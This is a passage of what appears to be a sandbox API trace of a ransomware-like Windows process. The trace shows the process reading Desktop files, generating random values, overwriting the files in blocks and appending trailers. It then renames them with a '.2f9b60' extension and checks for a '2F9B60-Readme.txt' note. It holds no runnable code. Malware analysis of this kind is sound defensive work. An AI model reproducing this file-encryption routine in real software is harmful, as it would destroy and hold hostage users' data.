SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x18234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.850] ReadFile (in: hFile=0x14d4, lpBuffer=0x2249f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2249f928, lpOverlapped=0x0 | out: lpBuffer=0x2249f8e0*, lpNumberOfBytesRead=0x2249f928*=0x4, lpOverlapped=0x0) returned 1 [0098.851] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0098.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0098.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f20 [0098.851] NtQuerySystemTime (in: CurrentTime=0x2249f820 | out: CurrentTime=0x2249f820*=132462177043714000) returned 0x0 [0098.851] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x20d95f8d [0098.851] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x4e7c04bf [0098.851] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x3b943eb1 [0098.851] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x4583899d [0098.851] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x1cc052b0 [0098.851] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x64479ce1 [0098.851] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x43bac678 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x10dfcd50 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x7603c4b [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x390fea95 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0xf2e34db [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x47a2babb [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0xfe61238 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x1357d018 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x587565a3 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x70f6c082 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x784ba9a1 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x7455b132 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x502d89f9 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x6b38adc [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0xd679b7c [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x1096bbc2 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x4b0d5682 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x80ccd4b [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0xbbf2249 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x79a2a3ea [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x340728ea [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x47df980b [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x223ff0a9 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x2a3f96e [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x4dd342c0 [0098.852] RtlRandomEx (in: Seed=0x2249f810 | out: Seed=0x2249f810) returned 0x52638e9d [0098.863] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.863] ReadFile (in: hFile=0x14d4, lpBuffer=0x2022a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2249f880, lpOverlapped=0x0 | out: lpBuffer=0x2022a520*, lpNumberOfBytesRead=0x2249f880*=0x3c00, lpOverlapped=0x0) returned 1 [0098.863] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0098.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e60) returned 1 [0098.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2022e130 [0098.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0098.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f20 [0098.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f20) returned 1 [0098.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.864] WriteFile (in: hFile=0x14d4, lpBuffer=0x2022e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2249f880, lpOverlapped=0x0 | out: lpBuffer=0x2022e130*, lpNumberOfBytesWritten=0x2249f880*=0x3c00, lpOverlapped=0x0) returned 1 [0100.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2022e130) returned 1 [0100.522] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.523] ReadFile (in: hFile=0x14d4, lpBuffer=0x2022a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2249f880, lpOverlapped=0x0 | out: lpBuffer=0x2022a520*, lpNumberOfBytesRead=0x2249f880*=0x3c00, lpOverlapped=0x0) returned 1 [0100.523] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x17a750 [0100.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420540b0 [0100.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0100.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606f0) returned 1 [0100.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4202a520 [0100.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0100.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0100.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860000) returned 1 [0100.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420540b0) returned 1 [0100.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0100.926] WriteFile (in: hFile=0x14d4, lpBuffer=0x4202a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2249f880, lpOverlapped=0x0 | out: lpBuffer=0x4202a520*, lpNumberOfBytesWritten=0x2249f880*=0x3c00, lpOverlapped=0x0) returned 1 [0101.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4202a520) returned 1 [0101.591] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x14638, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.591] ReadFile (in: hFile=0x14d4, lpBuffer=0x2022a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2249f880, lpOverlapped=0x0 | out: lpBuffer=0x2022a520*, lpNumberOfBytesRead=0x2249f880*=0x3c00, lpOverlapped=0x0) returned 1 [0101.591] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x14638, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0101.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0101.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4202a520 [0101.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0101.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0101.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0101.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.592] WriteFile (in: hFile=0x14d4, lpBuffer=0x4202a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2249f880, lpOverlapped=0x0 | out: lpBuffer=0x4202a520*, lpNumberOfBytesWritten=0x2249f880*=0x3c00, lpOverlapped=0x0) returned 1 [0101.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4202a520) returned 1 [0101.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8de0 [0101.718] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.718] WriteFile (in: hFile=0x14d4, lpBuffer=0x20507690*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2249f930, lpOverlapped=0x0 | out: lpBuffer=0x20507690*, lpNumberOfBytesWritten=0x2249f930*=0x144, lpOverlapped=0x0) returned 1 [0105.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0105.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0105.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0105.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85b0) returned 1 [0105.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0105.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0105.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85e0 [0105.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85e0) returned 1 [0105.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0105.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0105.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced85e0 [0105.034] sprintf (in: _Dest=0x1ced85e0, _Format="%c%c" | out: _Dest="9f") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85e2, _Format="%c%c" | out: _Dest="d7") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85e4, _Format="%c%c" | out: _Dest="91") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85e6, _Format="%c%c" | out: _Dest="96") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85e8, _Format="%c%c" | out: _Dest="1f") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85ea, _Format="%c%c" | out: _Dest="67") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85ec, _Format="%c%c" | out: _Dest="e2") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85ee, _Format="%c%c" | out: _Dest="1d") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85f0, _Format="%c%c" | out: _Dest="3c") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85f2, _Format="%c%c" | out: _Dest="69") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85f4, _Format="%c%c" | out: _Dest="d3") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85f6, _Format="%c%c" | out: _Dest="a5") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85f8, _Format="%c%c" | out: _Dest="00") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85fa, _Format="%c%c" | out: _Dest="4b") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85fc, _Format="%c%c" | out: _Dest="97") returned 2 [0105.035] sprintf (in: _Dest=0x1ced85fe, _Format="%c%c" | out: _Dest="56") returned 2 [0105.035] sprintf (in: _Dest=0x1ced8600, _Format="%c%c" | out: _Dest="33") returned 2 [0105.035] sprintf (in: _Dest=0x1ced8602, _Format="%c%c" | out: _Dest="1e") returned 2 [0105.035] RtlInitAnsiString (in: DestinationString=0x2249f9a8, SourceString="9fd791961f67e21d3c69d3a5004b9756331e" | out: DestinationString="9fd791961f67e21d3c69d3a5004b9756331e") [0105.035] RtlAnsiStringToUnicodeString (in: DestinationString=0x2249f978, SourceString="9fd791961f67e21d3c69d3a5004b9756331e", AllocateDestinationString=1 | out: DestinationString="9fd791961f67e21d3c69d3a5004b9756331e") returned 0x0 [0105.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c7f0 [0105.036] wcscat (in: _Dest=0x1b85d710, _Source="9fd791961" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fd791961") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fd791961" [0105.036] wcscat (in: _Dest=0x1b85d710, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fd791961.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fd791961.2f9b60" [0105.036] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fd791961.2f9b60", NtPathName=0x2249f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fd791961.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205de10 [0105.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205de10) returned 1 [0105.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece3b0) returned 1 [0105.704] NtQueryInformationFile (in: FileHandle=0x14d4, IoStatusBlock=0x2249f9b8, FileInformation=0x2249f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2249f9b8, FileInformation=0x2249f9c8) returned 0x0 [0105.705] NtSetInformationFile (FileHandle=0x14d4, IoStatusBlock=0x2249f9b8, FileInformation=0x2249f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0105.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c7f0) returned 1 [0105.710] FlushFileBuffers (hFile=0x14d4) returned 1 [0105.713] CloseHandle (hObject=0x14d4) returned 1 [0105.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85d710 [0105.714] wcscpy (in: _Dest=0x1b85d710, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0105.714] wcscat (in: _Dest=0x1b85d710, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0105.714] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0105.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0105.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864300) returned 1 Thread: id = 790 os_tid = 0x133c [0098.874] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MqXKRituR3jTd7hh7l.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqxkritur3jtd7hh7l.xlsx")) returned 0x20 [0098.874] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MqXKRituR3jTd7hh7l.xlsx", dwFileAttributes=0x20) returned 1 [0098.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MqXKRituR3jTd7hh7l.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqxkritur3jtd7hh7l.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0098.874] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x2226fd60 | out: lpFileSize=0x2226fd60*=20820) returned 1 [0098.874] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x5150, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.874] ReadFile (in: hFile=0x14d8, lpBuffer=0x2226fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2226fd28, lpOverlapped=0x0 | out: lpBuffer=0x2226fce0*, lpNumberOfBytesRead=0x2226fd28*=0x4, lpOverlapped=0x0) returned 1 [0098.875] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f20 [0098.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0098.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fe0 [0098.876] NtQuerySystemTime (in: CurrentTime=0x2226fc20 | out: CurrentTime=0x2226fc20*=132462177044026000) returned 0x0 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x3021c4e4 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x590fcca7 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x51efb749 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x61732207 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x7c99659f [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x4f455fa0 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x555f6d2e [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x1fb194c9 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x2f3bf306 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x37ff0839 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x66342f8f [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x72f6f7e3 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x7720cd0d [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x6368ab04 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x106be302 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x27c6b69a [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0xb370432 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x3a29a098 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x30b747d5 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x34446043 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x2c382634 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x6f5236c0 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0xb42087 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x75e6ad78 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x1e159ab4 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x2e12630c [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0xb733135 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x3417f983 [0098.876] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x72474ef3 [0098.877] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x178113dd [0098.877] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x5ec66cad [0098.877] RtlRandomEx (in: Seed=0x2226fc10 | out: Seed=0x2226fc10) returned 0x7f4977e6 [0098.888] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.888] ReadFile (in: hFile=0x14d8, lpBuffer=0x20231d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2226fc80, lpOverlapped=0x0 | out: lpBuffer=0x20231d40*, lpNumberOfBytesRead=0x2226fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0098.889] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f20 [0098.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f20) returned 1 [0098.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20235950 [0098.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f20 [0098.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fe0 [0098.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260fe0) returned 1 [0098.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.889] WriteFile (in: hFile=0x14d8, lpBuffer=0x20235950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2226fc80, lpOverlapped=0x0 | out: lpBuffer=0x20235950*, lpNumberOfBytesWritten=0x2226fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0100.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20235950) returned 1 [0100.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20231d40) returned 1 [0100.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ced55c0 [0100.926] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.926] WriteFile (in: hFile=0x14d8, lpBuffer=0x1ced6590*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2226fd30, lpOverlapped=0x0 | out: lpBuffer=0x1ced6590*, lpNumberOfBytesWritten=0x2226fd30*=0x120, lpOverlapped=0x0) returned 1 [0101.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0101.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261bb0 [0101.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261bb0) returned 1 [0101.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f130 [0101.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261bb0 [0101.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0101.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0101.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0101.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1ced9160 [0101.926] sprintf (in: _Dest=0x1ced9160, _Format="%c%c" | out: _Dest="64") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9162, _Format="%c%c" | out: _Dest="5c") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9164, _Format="%c%c" | out: _Dest="97") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9166, _Format="%c%c" | out: _Dest="c3") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9168, _Format="%c%c" | out: _Dest="32") returned 2 [0101.927] sprintf (in: _Dest=0x1ced916a, _Format="%c%c" | out: _Dest="bd") returned 2 [0101.927] sprintf (in: _Dest=0x1ced916c, _Format="%c%c" | out: _Dest="0a") returned 2 [0101.927] sprintf (in: _Dest=0x1ced916e, _Format="%c%c" | out: _Dest="5d") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9170, _Format="%c%c" | out: _Dest="1c") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9172, _Format="%c%c" | out: _Dest="55") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9174, _Format="%c%c" | out: _Dest="8f") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9176, _Format="%c%c" | out: _Dest="8d") returned 2 [0101.927] sprintf (in: _Dest=0x1ced9178, _Format="%c%c" | out: _Dest="09") returned 2 [0101.927] sprintf (in: _Dest=0x1ced917a, _Format="%c%c" | out: _Dest="28") returned 2 [0101.927] 